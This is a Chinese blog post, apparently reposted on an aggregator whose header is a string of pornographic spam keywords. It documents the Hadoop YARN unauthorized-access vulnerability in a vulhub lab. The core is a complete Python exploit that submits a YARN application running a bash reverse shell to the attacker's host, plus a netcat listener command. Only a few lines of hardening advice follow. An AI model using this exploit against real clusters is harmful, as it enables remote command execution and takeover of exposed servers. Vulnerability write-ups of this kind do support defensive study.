日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Hadoop未授权访问漏洞记录(影响版本:全版本,端口号:50070)

發(fā)布時(shí)間:2025/3/15 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Hadoop未授权访问漏洞记录(影响版本:全版本,端口号:50070) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

漏洞簡介以及危害

Hadoop是一個(gè)由Apache基金會(huì)所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),由于服務(wù)器器直接在開放了了
Hadoop 機(jī)器器 HDFS 的 50070 web 端口及部分默認(rèn)服務(wù)口口,黑客可以通過命令行操作多個(gè)目錄下
的數(shù)據(jù),如進(jìn)行刪除,下載,目錄瀏覽甚至命令行行等操作,產(chǎn)生極大的危害。

環(huán)境

vulnhub

測試

啟動(dòng)環(huán)境

docker-compose up -d

訪問

http://192.168.0.100:8088/cluster

通過REST API命令執(zhí)行

利用過程:
在本地監(jiān)聽端口 > 創(chuàng)建Application > 調(diào)用Submit Application API提交
1.本機(jī)監(jiān)聽

nc -lvvp 8888

2.直接本機(jī)執(zhí)行EXP:python exp.py

import requests target = 'http://192.168.0.100:8088/' lhost = '192.168.0.105' # put your local host ip here, and listen at port 8888 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell','am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)

3.反彈shell成功

防御手段

  • 如無必要, 關(guān)閉 Hadoop Web 管理?面。
  • 開啟身份驗(yàn)證 ,防止未經(jīng)授權(quán)用戶訪問。
  • 設(shè)置“安全組”訪問控制策略,將 Hadoop 默認(rèn)開放的多個(gè)端口對公網(wǎng)全部禁止或限制可信任的 IP 地址才能訪包括 50070 以及 WebUI 等相關(guān)端口。
新人創(chuàng)作打卡挑戰(zhàn)賽發(fā)博客就能抽獎(jiǎng)!定制產(chǎn)品紅包拿不停!

總結(jié)

以上是生活随笔為你收集整理的Hadoop未授权访问漏洞记录(影响版本:全版本,端口号:50070)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。